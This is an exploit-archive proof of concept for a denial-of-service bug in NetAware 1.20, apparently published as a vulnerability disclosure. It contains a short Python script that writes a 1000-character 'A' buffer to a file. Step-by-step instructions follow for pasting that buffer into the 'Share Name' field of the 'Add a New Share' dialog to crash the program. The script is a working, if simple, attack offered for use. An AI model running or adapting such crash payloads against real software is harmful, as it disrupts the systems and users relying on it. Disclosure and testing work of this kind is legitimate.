NetAware 1.20 - 'Share Name' Denial of Service (PoC)

# -*- coding: utf-8 -*-
# Exploit Title: NetAware 1.20 - 'Share Name' Denial of Service (PoC)
# Date: 22/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://www.infiltration-systems.com
# Software: http://www.infiltration-systems.com/Files/netaware.zip
# Version: 1.20
# Tested on: Windows 7

# Proof of Concept:
# 1.- Run the python script 'NetAware_share.py', it will create a new file 'NetAware.txt'
# 2.- Copy the text from the generated NetAware.txt file to clipboard
# 3.- Open NetAware 
# 4.- Click 'Manage Shares' > 'Add a New Share...'
# 5.- Paste clipboard in the field 'Share Name', in the field 'Share Path' write anything, e.g. test and the field 'User Limit' select Maximum allowed
# 6.- Click 'Ok', you will see a crash

buffer = "\x41" * 1000

f = open ("NetAware.txt", "w")
f.write(buffer)
f.close()